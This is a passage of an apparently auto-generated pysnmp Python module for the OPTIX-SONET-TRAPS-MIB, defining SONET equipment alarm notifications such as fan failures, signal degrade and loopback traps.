"rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFanOffline.setStatus('current') almSingleFanFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32803)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSingleFanFail.setStatus('current') almMultiFanFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32804)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almMultiFanFail.setStatus('current') almEquipmentTypeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32807)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEquipmentTypeMismatch.setStatus('current') almEquipmentOfflineOrUninstalled = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32808)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEquipmentOfflineOrUninstalled.setStatus('current') almTransmitterFailure = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32814)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTransmitterFailure.setStatus('current') almSignalFailureSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32815)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSignalFailureSection.setStatus('current') almInputPowerHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32816)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almInputPowerHigh.setStatus('current') almInputPowerLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32817)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almInputPowerLow.setStatus('current') almSignalFailureLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32818)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSignalFailureLine.setStatus('current') almSignalDegradeLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32819)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSignalDegradeLine.setStatus('current') almLaserApprochingEndOfLife = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32820)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLaserApprochingEndOfLife.setStatus('current') almOutPowerHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32821)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOutPowerHigh.setStatus('current') almOutPowerLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32822)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almOutPowerLow.setStatus('current') almSignalDegradeSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32823)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSignalDegradeSection.setStatus('current') almAlarmIndicationSignalLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32824)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almAlarmIndicationSignalLine.setStatus('current') almRemoteFailureIindicationLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32825)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRemoteFailureIindicationLine.setStatus('current') almAlarmIndicationSignalPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32826)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almAlarmIndicationSignalPath.setStatus('current') almLossOfPointerPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32827)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLossOfPointerPath.setStatus('current') almTraceIdentifierMismatchPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32828)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTraceIdentifierMismatchPath.setStatus('current') almUnequippedPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32829)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almUnequippedPath.setStatus('current') almSignalFailurePath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32830)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSignalFailurePath.setStatus('current') almSignalDegradePath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32831)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSignalDegradePath.setStatus('current') almRemoteFailureIindicationPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32832)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRemoteFailureIindicationPath.setStatus('current') almALS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32833)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almALS.setStatus('current') almLoopbackFacility = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32834)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackFacility.setStatus('current') almLoopbackTerminal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32835)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLoopbackTerminal.setStatus('current') almPayloadLabelMisatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 